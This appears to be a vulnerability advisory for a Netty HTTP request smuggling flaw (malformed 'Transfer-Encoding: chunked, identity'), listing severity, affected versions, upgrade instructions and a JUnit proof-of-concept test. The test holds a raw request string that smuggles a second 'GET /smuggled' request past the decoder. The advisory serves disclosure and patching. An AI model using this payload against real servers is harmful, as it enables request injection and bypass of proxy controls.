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GHSA-38f8-5428-x5cv CVE-2026-42585

Netty vulnerable to HTTP Request Smuggling due to malformed Transfer-Encoding

High Maven
Severity
6.5 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.27%
Chance of exploitation in the next 30 days. Higher than 18.86% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-444 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')
Fix
4.2.13.Final
Upgrade io.netty:netty-codec-http to this version or later

Description

Summary

Netty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks.

Details

Netty incorrectly marks a request as chunked when malformed "Transfer-Encoding: chunked, identity" is present. According to RFC https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length

" If a Transfer-Encoding header field is present in a request and the chunked transfer coding is not the final encoding, the message body length cannot be determined reliably; the server MUST respond with the 400 (Bad Request) status code and then close the connection. "

A possible scenario is when Netty is behind a proxy that doesn't reject requests with "Transfer-Encoding: chunked, identity", but prefers "Content-Length" and forwards the content to Netty.

PoC

The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a request body.

@Test
    public void test() {
        String requestStr = "POST / HTTP/1.1\r\n" +
                "Host: localhost\r\n" +
                "Transfer-Encoding: chunked, identity\r\n" +
                "Content-Length: 48\r\n" +
                "\r\n" +
                "0\r\n" +
                "\r\n" +
                "GET /smuggled HTTP/1.1\r\n" +
                "Host: localhost\r\n" +
                "\r\n";

        EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
        assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));

        // Request 1
        HttpRequest request = channel.readInbound();
        assertTrue(request.decoderResult().isSuccess());
        assertTrue(request.headers().contains("Transfer-Encoding"));
        assertFalse(request.headers().contains("Content-Length"));
        LastHttpContent last = channel.readInbound();
        assertTrue(last.decoderResult().isSuccess());
        last.release();

        // Request 2
        request = channel.readInbound();
        assertTrue(request.decoderResult().isSuccess());
        last = channel.readInbound();
        assertTrue(last.decoderResult().isSuccess());
        last.release();
    }

Impact

HTTP Request Smuggling: Attacker injects arbitrary HTTP requests

Affected versions

Maven

PackageVulnerableFixed in
io.netty:netty-codec-http
>= 4.2.0.Alpha1, < 4.2.13.Final
4.2.13.Final
io.netty:netty-codec-http
< 4.1.133.Final
4.1.133.Final

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

io.netty:netty-codec-http Maven → 4.2.13.Final

maven
<dependency><groupId>io.netty</groupId><artifactId>netty-codec-http</artifactId><version>4.2.13.Final</version></dependency>
gradle
implementation("io.netty:netty-codec-http:4.2.13.Final")

Severity breakdown

CVSS 3.1 6.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
None

Weakness

CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')

The product acts as an intermediary HTTP agent (such as a proxy or firewall) in the data flow between two entities such as a client and server, but it does not interpret malformed HTTP requests or responses in ways that are consistent with how the messages will be processed by those entities that are at the ultimate destination.

How to prevent it
  • Implementation: Use a web server that employs a strict HTTP parsing procedure, such as Apache [REF-433].
  • Implementation: Use only SSL communication.
  • Implementation: Terminate the client session after each request.
  • System Configuration: Turn all pages to non-cacheable.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-8c42-7qj2-3j46
Netty Vulnerable to Cache Poisoning and Information Disclosure via CORS Vary Header Overwrite
High Also affects io.netty:netty-codec-http
GHSA-gcjf-9mgh-3p7g
Netty: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder
Medium Also affects io.netty:netty-codec-http
GHSA-q4f6-jm68-57ww
Netty: [HttpContentEncoder] Unbounded Per-Connection Queue Growth via HTTP/1.1 Pipelining Leads to Denial of Service
High Also affects io.netty:netty-codec-http
GHSA-4mp9-239f-g9hg
Netty: WebSockets V07/V08 handshaker missing Connection/Upgrade validation
High Also affects io.netty:netty-codec-http
GHSA-6cqp-g7gg-8hr5
Netty: Security Control Bypass via CORS Short-Circuit Failure
Medium Also affects io.netty:netty-codec-http
GHSA-jppx-w49h-x2qq
Netty: [SpdyHttpDecoder] ByteBuf Reference Leak on RST_STREAM Leads to Native Memory Exhaustion
High Also affects io.netty:netty-codec-http
GHSA-mvh2-crg5-v77c
Netty SPDY zlib header block continues decoded expansion after maxHeaderSize truncation
High Also affects io.netty:netty-codec-http
GHSA-6jqx-86gh-f27w
Netty SPDY SETTINGS frame count materializes unbounded settings map
High Also affects io.netty:netty-codec-http
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